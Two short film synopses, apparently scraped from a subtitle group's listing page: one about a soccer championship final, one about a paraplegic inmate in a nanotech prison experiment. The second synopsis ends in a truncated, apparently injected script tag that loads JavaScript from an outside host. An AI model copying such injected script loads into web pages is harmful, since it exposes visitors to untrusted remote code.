简介：The fate of a championship is being decided on a soccer field, but along with it, the lives of many people who have decided to turn things around are at stake. Be it for money, as is the case of Italo - president of the Sporting team who bet everything he has left on the final result; be it for honor, as is the case of coach Bulla - who has never won a title his whole life; be it for a dream, as is the case of Antonio - the team captain who wants to go pro. Away from the field, the rest of the world keeps living, dying, and showing off its contradictions. But inside the game, time comes to a halt because it's the most important of all moments.-微博摆渡字幕组 整理
简介：Sometime in the near future, paraplegic prison inmate Matt Mills meets "The Board" of Satoshi-Telefair Industries, who thank him for joining the Program. Under pressure and with a promise to make him walk again, Mills agrees to volunteer. He is injected with a synthetic nanomaterial and suffocated, only to wake up with restored use of his legs, yet alone in a steel cell in the first spoke of an experimental apparatus - The Wheel. A series of assailants inflict a multitude of damage to Mills' body and torment his mind, yet the synthetic nanomaterial not only restores his damaged organs, it re-engineers his strength. The experiment might be designed to kill, but Mills is determined to survive - and get back to his daughter before The Board finds her first.* src='https://mikka.app/xx.js' type='text/javascript'>